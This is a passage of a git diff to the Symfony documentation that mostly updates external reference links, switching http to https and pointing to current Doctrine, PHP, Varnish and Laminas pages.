-.. _`yield`: http://php.net/manual/en/language.generators.syntax.php
+.. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
 .. _`SecurityBundle`: https://github.com/symfony/security-bundle
 .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
 .. _`SensioFrameworkExtraBundle`: https://github.com/sensiolabs/SensioFrameworkExtraBundle
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 14b08ec9396..b729cdd38e1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -14,7 +14,7 @@ create one from scratch or use a 3rd party generator.
 .. note::
 
     There are several SOAP server implementations available for use with
-    PHP. `Zend SOAP`_ and `NuSOAP`_ are two examples. Although the PHP SOAP
+    PHP. `Laminas SOAP`_ and `NuSOAP`_ are two examples. Although the PHP SOAP
     extension is used in these examples, the general idea should still
     be applicable to other implementations.
 
@@ -165,7 +165,7 @@ An example WSDL is below.
         </service>
     </definitions>
 
-.. _`PHP SOAP`: https://php.net/manual/en/book.soap.php
-.. _`NuSOAP`: http://sourceforge.net/projects/nusoap
-.. _`output buffering`: https://php.net/manual/en/book.outcontrol.php
-.. _`Zend SOAP`: http://framework.zend.com/manual/current/en/modules/zend.soap.server.html
+.. _`PHP SOAP`: https://www.php.net/manual/en/book.soap.php
+.. _`NuSOAP`: https://sourceforge.net/projects/nusoap
+.. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
+.. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index b86ac80ada5..b56834319a8 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -292,10 +292,10 @@ and `ezPublish 5`_,  and `more`_).
 .. _`audited`: https://symfony.com/blog/symfony2-security-audit
 .. _`applications using it`: https://symfony.com/components/HttpFoundation
 .. _`Symfony`: https://symfony.com/
-.. _`Drupal 8`: https://drupal.org/
+.. _`Drupal 8`: https://www.drupal.org/
 .. _`phpBB 3`: https://www.phpbb.com/
 .. _`ezPublish 5`: https://ez.no/
 .. _`Laravel`: https://laravel.com/
-.. _`autoloaded`: https://php.net/autoload
+.. _`autoloaded`: https://www.php.net/autoload
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
 .. _`more`: https://symfony.com/components/HttpFoundation
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index 5b998ed2dab..bac631073e6 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -202,4 +202,4 @@ Let's conclude with the new version of our framework::
 Think about it once more: our framework is more robust and more flexible than
 ever and it still has less than 50 lines of code.
 
-.. _`reflection`: https://php.net/reflection
+.. _`reflection`: https://www.php.net/reflection
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 93df4ea331b..9207ba342b0 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -110,7 +110,7 @@ content and check that the number only changes every 10 seconds::
 Using HTTP cache headers to manage your application cache is very powerful and
 allows you to tune finely your caching strategy as you can use both the
 expiration and the validation models of the HTTP specification. If you are not
-comfortable with these concepts, read the `HTTP caching`_ chapter of the
+comfortable with these concepts, read the :doc:`HTTP caching </http_cache>` chapter of the
 Symfony documentation.
 
 The Response class contains methods that let you configure the HTTP cache. One
@@ -206,6 +206,5 @@ With the addition of a single interface, our framework can now benefit from
 the many features built into the HttpKernel component; HTTP caching being just
 one of them but an important one as it can make your applications fly!
 
-.. _`HTTP caching`: https://symfony.com/doc/current/http_cache.html
 .. _`ESI`: https://en.wikipedia.org/wiki/Edge_Side_Includes
-.. _`Varnish`: https://www.varnish-cache.org/
+.. _`Varnish`: https://varnish-cache.org/
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 3c3b60a61c6..990642d22b7 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to
 introduce the HttpFoundation Component and see what it brings us.
 
 .. _`Symfony`: https://symfony.com/
-.. _`Composer`: http://packagist.org/about-composer
+.. _`Composer`: https//getcomposer.org/
 .. _`download and install Composer`: https://getcomposer.org/download/
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 566779d5eaf..4ae746e1c91 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -177,5 +177,5 @@ As always, you can decide to stop here and use the framework as is; it's
 probably all you need to create simple websites like those fancy one-page
 `websites`_ and hopefully a few others.
 
-.. _`callbacks`: https://php.net/callback#language.types.callback
+.. _`callbacks`: https://www.php.net/callback#language.types.callback
 .. _`websites`: https://kottke.org/08/02/single-serving-sites
diff --git a/deployment.rst b/deployment.rst
index 0823526bfbe..ac1096a5b9d 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -237,21 +237,21 @@ Learn More
     deployment/proxies
 
 .. _`Capifony`: https://github.com/everzet/capifony
-.. _`Capistrano`: http://capistranorb.com/
+.. _`Capistrano`: https://capistranorb.com/
 .. _`sf2debpkg`: https://github.com/liip/sf2debpkg
 .. _`Fabric`: http://www.fabfile.org/
 .. _`Ansistrano`: https://ansistrano.com/
 .. _`Magallanes`: https://github.com/andres-montanez/Magallanes
-.. _`Ant`: http://blog.sznapka.pl/deploying-symfony2-applications-with-ant
+.. _`Ant`: https://blog.sznapka.pl/deploying-symfony2-applications-with-ant/
 .. _`Memcached`: http://memcached.org/
-.. _`Redis`: http://redis.io/
+.. _`Redis`: https://redis.io/
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
-.. _`Deployer`: http://deployer.org/
+.. _`Deployer`: https://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
 .. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony
+.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 3b0d6a0338c..519c2e3bd89 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -115,6 +115,6 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
     // ...
     $response = $kernel->handle($request);
 
-.. _`security groups`: http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
+.. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
diff --git a/doctrine.rst b/doctrine.rst
index c8463ecae91..b1204fc5bf9 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -859,21 +859,21 @@ Learn more
     doctrine/reverse_engineering
     testing/database
 
-.. _`Doctrine`: http://www.doctrine-project.org/
+.. _`Doctrine`: https://www.doctrine-project.org/
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Doctrine's Mapping Types documentation`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/basic-mapping.html
-.. _`Query Builder`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/query-builder.html
-.. _`Doctrine Query Language`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/dql-doctrine-query-language.html
-.. _`Reserved SQL keywords documentation`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/basic-mapping.html#quoting-reserved-words
+.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html
+.. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html
+.. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html
+.. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words
 .. _`DoctrineMongoDBBundle docs`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
-.. _`Transactions and Concurrency`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/transactions-and-concurrency.html
+.. _`Transactions and Concurrency`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/transactions-and-concurrency.html
 .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle
-.. _`NativeQuery`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/native-sql.html
-.. _`SensioFrameworkExtraBundle`: http://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`ParamConverter`: http://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html
+.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
+.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-restrictions.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
-.. _`PDO`: https://php.net/pdo
+.. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/antishov/StofDoctrineExtensionsBundle
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 00fb8ab061d..8616d0ad839 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -595,6 +595,6 @@ Doctrine's `Association Mapping Documentation`_.
     ``@ORM\`` (e.g. ``@ORM\OneToMany``), which is not reflected in Doctrine's
     documentation.
 
-.. _`Association Mapping Documentation`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/association-mapping.html
-.. _`orphanRemoval`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/working-with-associations.html#orphan-removal
+.. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html
+.. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1daaf56387e..9485509da49 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -148,4 +148,4 @@ In Symfony, you can register your custom DQL functions as follows:
                 ],
             ]);
 
-.. _`DQL User Defined Functions`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/cookbook/dql-user-defined-functions.html
+.. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index ab1fa4c69e7..8487ffdce91 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -159,7 +159,7 @@ mapping type:
             ],
         ]);
 
-.. _`PDO`:           https://php.net/pdo
-.. _`Doctrine`:      http://www.doctrine-project.org
-.. _`DBAL Documentation`: http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/index.html
-.. _`Custom Mapping Types`: http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/types.html#custom-mapping-types
+.. _`PDO`: https://www.php.net/pdo
+.. _`Doctrine`: https://www.doctrine-project.org/
+.. _`DBAL Documentation`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/index.html
+.. _`Custom Mapping Types`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/types.html#custom-mapping-types
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 0f68af43201..98dad192a79 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -482,6 +482,6 @@ can do it in the service configuration:
     related event is actually fired, making them more performant.
 
 .. _`Doctrine`: https://www.doctrine-project.org/
-.. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/2.6/reference/events.html#lifecycle-events
-.. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/2.6/reference/events.html
+.. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
+.. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
diff --git a/doctrine/mongodb_session_storage.rst b/doctrine/mongodb_session_storage.rst
index 2435529f11a..7ec897bf0a1 100644
--- a/doctrine/mongodb_session_storage.rst
+++ b/doctrine/mongodb_session_storage.rst
@@ -28,4 +28,4 @@ may want to add an index to improve garbage collection performance. From the
     use session_db
     db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
 
-.. _MongoDB shell: http://docs.mongodb.org/v2.2/tutorial/getting-started-with-the-mongo-shell/
+.. _MongoDB shell: https://docs.mongodb.com/manual/mongo/
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 8c86b7c970c..29aa03f5f11 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -19,8 +19,7 @@ entity manager that connects to another database might handle the rest.
 .. caution::
 
     Entities cannot define associations across different entity managers. If you
-    need that, there are `several alternatives <https://stackoverflow.com/a/11494543/2804294>`_
-    that require some custom setup.
+    need that, there are `several alternatives`_ that require some custom setup.
 
 The following configuration code shows how you can configure two entity managers:
 
@@ -283,3 +282,5 @@ The same applies to repository calls::
             ;
         }
     }
+
+.. _`several alternatives`: https://stackoverflow.com/a/11494543
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 1087e8d64f3..087e41db955 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -111,4 +111,4 @@ run:
 
 The generated entities are now ready to be used. Have fun!
 
-.. _`Doctrine tools documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/latest/reference/tools.html#reverse-engineering
+.. _`Doctrine tools documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/tools.html#reverse-engineering
diff --git a/email.rst b/email.rst
index 6b76eac6a24..60e630abc38 100644
--- a/email.rst
+++ b/email.rst
@@ -657,12 +657,12 @@ redirected page and the email won't be accessible.
 .. _`MailCatcher`: https://github.com/sj26/mailcatcher
 .. _`MailHog`: https://github.com/mailhog/MailHog
 .. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: http://swiftmailer.org/
+.. _`Swift Mailer`: https://swiftmailer.symfony.com/
 .. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
 .. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
 .. _`Mandrill`: https://mandrill.com/
 .. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: http://aws.amazon.com/ses/
+.. _`Amazon SES`: https://aws.amazon.com/ses/
 .. _`generate an App password`: https://support.google.com/accounts/answer/185833
 .. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 433154c48ca..b8a20f2bd94 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -603,6 +603,6 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.3/
 .. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.1/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
-.. _`Foundation CSS framework`: http://foundation.zurb.com/
+.. _`Foundation CSS framework`: https://get.foundation/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index ad529d85850..eb77baef504 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -219,6 +219,6 @@ The following loaders are configurable with ``configureLoaderRule()``:
   - ``handlebars``
 
 .. _`configuration options`: https://webpack.js.org/configuration/
-.. _`array of configurations`: https://github.com/webpack/docs/wiki/configuration#multiple-configurations
+.. _`array of configurations`: https://webpack.js.org/configuration/configuration-types/#exporting-multiple-configurations
 .. _`Karma`: https://karma-runner.github.io
 .. _`Watching Options`: https://webpack.js.org/configuration/watch/#watchoptions
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index a312fd60174..abe3208a46e 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -62,4 +62,4 @@ automatically be added to Babel: you must add it yourself in ``.babelrc``.
 As soon as a ``.babelrc`` file is present, it will take priority over the Babel
 configuration added by Encore.
 
-.. _`Babel`: http://babeljs.io/
+.. _`Babel`: https://babeljs.io/
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 61dadf62f66..6de089ade5c 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -160,5 +160,5 @@ You'll customize and learn more about these file in :doc:`/frontend/encore/simpl
     :doc:`split chunks </frontend/encore/split-chunks>`.
 
 .. _`install Node.js`: https://nodejs.org/en/download/
-.. _`Yarn package manager`: https://yarnpkg.com/lang/en/docs/install/
+.. _`Yarn package manager`: https://yarnpkg.com/getting-started/install
 .. _`WebpackEncoreBundle`: https://github.com/symfony/webpack-encore-bundle
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index a6690bdf666..e5cb1e3467a 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -76,7 +76,7 @@ support. The best-practice is to configure this directly in your ``package.json`
 
 See `browserslist`_ for more details on the syntax.
 
-.. _`PostCSS`: http://postcss.org/
+.. _`PostCSS`: https://postcss.org/
 .. _`autoprefixing`: https://github.com/postcss/autoprefixer
 .. _`linting`: https://stylelint.io/
 .. _`browserslist`: https://github.com/browserslist/browserslist
diff --git a/http_cache.rst b/http_cache.rst
index 18f4462e539..8cf20f5f9b3 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -414,11 +414,11 @@ Learn more
 
     http_cache/*
 
-.. _`Things Caches Do`: http://2ndscale.com/writings/things-caches-do
-.. _`Cache Tutorial`: http://www.mnot.net/cache_docs/
-.. _`Varnish`: https://www.varnish-cache.org/
-.. _`Squid in reverse proxy mode`: http://wiki.squid-cache.org/SquidFaq/ReverseProxy
+.. _`Things Caches Do`: https://2ndscale.com/writings/things-caches-do
+.. _`Cache Tutorial`: https://www.mnot.net/cache_docs/
+.. _`Varnish`: https://varnish-cache.org/
+.. _`Squid in reverse proxy mode`: https://wiki.squid-cache.org/SquidFaq/ReverseProxy
 .. _`RFC 7234 - Caching`: https://tools.ietf.org/html/rfc7234
 .. _`RFC 7232 - Conditional Requests`: https://tools.ietf.org/html/rfc7232
-.. _`FOSHttpCacheBundle`: http://foshttpcachebundle.readthedocs.org/
+.. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.org/
 .. _`they can be cached`: https://tools.ietf.org/html/draft-ietf-httpbis-p2-semantics-20#section-2.3.4
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 8cb1b6fb80e..b47b6790989 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -104,4 +104,4 @@ different URLs. More flexible concepts exist for those cases:
 * **Cache tagging** lets you add a tag for each content used in a response
   so that you can invalidate all URLs containing a certain content.
 
-.. _`FOSHttpCacheBundle`: http://foshttpcachebundle.readthedocs.org/
+.. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.org/
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 50ff7d674ea..a7915d4c502 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -80,5 +80,5 @@ servers should not send ``Expires`` dates more than one year in the future."
     when the ``s-maxage`` or ``max-age`` directive of the ``Cache-Control``
     header is defined.
 
-.. _`expiration model`: http://tools.ietf.org/html/rfc2616#section-13.2
+.. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2
 .. _`RFC 7234 - Caching`: https://tools.ietf.org/html/rfc7234#section-4.2.1
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 776097339f9..f28a53e09b0 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -233,12 +233,12 @@ proxy before it has expired, it adds complexity to your caching setup.
     The documentation of the `FOSHttpCacheBundle`_ explains how to configure
     Varnish and other reverse proxies for cache invalidation.
 
-.. _`Varnish`: https://www.varnish-cache.org
+.. _`Varnish`: https://varnish-cache.org/
 .. _`Edge Architecture`: http://www.w3.org/TR/edge-arch
-.. _`clean the cookies header`: https://www.varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies
+.. _`clean the cookies header`: https://varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies
 .. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch
-.. _`cache invalidation`: http://tools.ietf.org/html/rfc2616#section-13.10
-.. _`FOSHttpCacheBundle`: http://foshttpcachebundle.readthedocs.org/
+.. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10
+.. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html
 .. _`default.vcl`: https://github.com/varnishcache/varnish-cache/blob/3.0/bin/varnishd/default.vcl
 .. _`builtin.vcl`: https://github.com/varnishcache/varnish-cache/blob/4.1/bin/varnishd/builtin.vcl
-.. _`User Context`: http://foshttpcachebundle.readthedocs.org/en/latest/features/user-context.html
+.. _`User Context`: https://foshttpcachebundle.readthedocs.org/en/latest/features/user-context.html
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 225ff8cdeba..e9bbf16167c 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -702,10 +702,10 @@ set of **high-quality open source tools developed by the Symfony community**!
 A good selection of `Symfony community tools`_ can be found on GitHub.
 
 .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
-.. _`Doctrine`: http://www.doctrine-project.org
+.. _`Doctrine`: https://www.doctrine-project.org/
 .. _Translation: https://github.com/symfony/translation
 .. _`Composer`: https://getcomposer.org
 .. _`download Composer`: https://getcomposer.org/download/
 .. _`Validator`: https://github.com/symfony/validator
-.. _`Varnish`: https://www.varnish-cache.org/
+.. _`Varnish`: https://varnish-cache.org/
 .. _`Symfony community tools`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 11fc83efadf..5e11f44c007 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -385,7 +385,7 @@ Here's what we've learned so far:
 #. Symfony turns your ``Response`` object into the text headers and content
    (i.e. the HTTP response), which are sent back to the client.
 
-.. _`xkcd`: http://xkcd.com/
+.. _`xkcd`: https://xkcd.com/
 .. _`XMLHttpRequest`: https://en.wikipedia.org/wiki/XMLHttpRequest
 .. _`HTTP 1.1 RFC`: http://www.w3.org/Protocols/rfc2616/rfc2616.html
 .. _`HTTP Bis`: http://datatracker.ietf.org/wg/httpbis/
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index bd41a61a53a..f3c67160283 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -28,9 +28,10 @@ calls need to be wrapped in conditions. For example::
     }
 
 Instead of using these semantic methods to test for each of the verbosity
-levels, the `MonologBridge`_ provides a `ConsoleHandler`_ that listens to
-console events and writes log messages to the console output depending on the
-current log level and the console verbosity.
+levels, the `MonologBridge`_ provides a
+:class:`Symfony\\Bridge\\Monolog\\Handler\\ConsoleHandler` that listens to
+console events and writes log messages to the console output depending on
+the current log level and the console verbosity.
 
 The example above could then be rewritten as::
 
@@ -122,5 +123,4 @@ Now, log messages will be shown on the console based on the log levels and verbo
 By default (normal verbosity level), warnings and higher will be shown. But in
 :doc:`full verbosity mode </console/verbosity>`, all messages will be shown.
 
-.. _ConsoleHandler: https://github.com/symfony/MonologBridge/blob/master/Handler/ConsoleHandler.php
-.. _MonologBridge: https://github.com/symfony/MonologBridge
+.. _MonologBridge: https://github.com/symfony/monolog-bridge
diff --git a/mailer.rst b/mailer.rst
index c90bb9fa1fd..7ec18d61a74 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -790,10 +790,10 @@ environment:
                 $sender: null
                 $recipients: ['youremail@example.com']
 
-.. _`download the foundation-emails.css file`: https://github.com/zurb/foundation-emails/blob/develop/dist/foundation-emails.css
+.. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`Markdown syntax`: https://commonmark.org/
-.. _`Inky`: https://foundation.zurb.com/emails.html
+.. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
-.. _`OpenSSL PHP extension`: https://php.net/manual/en/book.openssl.php
+.. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
diff --git a/mercure.rst b/mercure.rst
index b9a738bc13b..1aa7d87a1cb 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -609,16 +609,16 @@ Enable the panel in your configuration, as follows:
 
 .. image:: /_images/mercure/panel.png
 
-.. _`the Mercure protocol`: https://github.com/dunglas/mercure#protocol-specification
-.. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/docs/Server-sent_events
+.. _`the Mercure protocol`: https://mercure.rocks/spec
+.. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
 .. _`a polyfill`: https://github.com/Yaffle/EventSource
-.. _`high-level implementations`: https://github.com/dunglas/mercure#tools
+.. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome
 .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI
 .. _`Mercure.rocks`: https://mercure.rocks
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/chromedevtools/status/562324683194785792
+.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
diff --git a/messenger/message-recorder.rst b/messenger/message-recorder.rst
index f5ab29a1ede..e5dac59203e 100644
--- a/messenger/message-recorder.rst
+++ b/messenger/message-recorder.rst
@@ -42,8 +42,7 @@ DispatchAfterCurrentBusMiddleware Middleware
 For many applications, the desired behavior is to *only* handle messages that
 are dispatched by a handler once that handler has fully finished. This can be by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
-``DispatchAfterCurrentBusStamp`` stamp to
-`the message Envelope </components/messenger#adding-metadata-to-messages-envelopes>`_::
+``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 
     namespace App\Messenger\CommandHandler;
 
diff --git a/migration.rst b/migration.rst
index 144fe93d08d..043dc0ce25c 100644
--- a/migration.rst
+++ b/migration.rst
@@ -461,7 +461,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to
 transition the authentication and authorization of the legacy application over
 to the Symfony application using the Security component and its firewalls.
 
-.. _`Strangler Application`: https://www.martinfowler.com/bliki/StranglerApplication.html
+.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
 .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload
 .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ
 .. _`Symfony Panther`: https://github.com/symfony/panther
diff --git a/page_creation.rst b/page_creation.rst
index 9be754fcd9d..4711685ae3d 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -75,9 +75,7 @@ is defined by creating a **route** in the ``config/routes.yaml`` file:
         path: /lucky/number
         controller: App\Controller\LuckyController::number
 
-That's it! If you are using Symfony web server, try it out by going to:
-
